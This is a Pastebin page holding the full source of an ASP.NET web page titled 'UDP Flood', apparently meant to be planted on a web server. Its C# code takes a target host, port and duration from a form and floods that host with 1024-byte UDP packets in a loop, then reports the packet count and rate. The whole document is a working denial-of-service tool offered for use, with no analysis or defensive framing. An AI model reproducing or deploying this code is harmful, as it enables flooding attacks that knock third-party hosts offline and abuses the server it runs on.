Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <html>
- <body>
- <title>
- UDP Flood</title>
- <font color="00FF00">
- <center>
- <STYLE>
- input{
- background-color: #00FF00; font-size: 8pt; color: black; font-family: Tahoma; border: 1 solid white;
- }
- button{
- background-color: #00FF00; font-size: 8pt; color: black; font-family: Tahoma; border: 1 solid white;
- }
- body {
- background-color: black;
- }
- </style>
- <br>
- <br>
- <br>
- <br>
- <br>
- <br><b>UDP Flood</b><br>
- <%@ Page Language="C#" %>
- <%@import namespace="System.Diagnostics"%>
- <%@import namespace="System.Net.Sockets"%>
- <%
- if(Request["host"]!= null && Request["port"] != null && Request["time"] != null) {
- String host = Request["host"];
- int port = int.Parse(Request["port"]);
- int time_ = int.Parse(Request["time"]);
- String packet = "";
- for (int i = 0; i < 1024; i++) {
- packet += "X";
- }
- Stopwatch s = new Stopwatch();
- s.Start();
- int packets = 0;
- while (s.Elapsed < TimeSpan.FromSeconds(time_)) {
- UdpClient c = new UdpClient();
- c.ExclusiveAddressUse = false;
- c.Client.SetSocketOption(SocketOptionLevel.Socket, SocketOptionName.ReuseAddress, true);
- c.Send(Encoding.ASCII.GetBytes(packet), Encoding.ASCII.GetBytes(packet).Length, host, port);
- c.Close();
- packets++;
- }
- s.Stop();
- Response.Write("Completed with " + packets.ToString() + " (" + (((packets*1024)/1024)/1024).ToString() + " MB) packets averaging " + (packets/time_).ToString() + " packets per second\n");
- }
- %>
- <form action=? method=GET>
- <input type='hidden' name='act' value='phptools'>
- Host: <br><input type='text' name='host'><br>
- Port: <br><input type='text' name='port'><br>
- Length (seconds): <br><input type='text' name='time'>
- <br>
- <br>
- <input type='submit' value='Go'>
- </form>
- </center>
- </body>
- </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement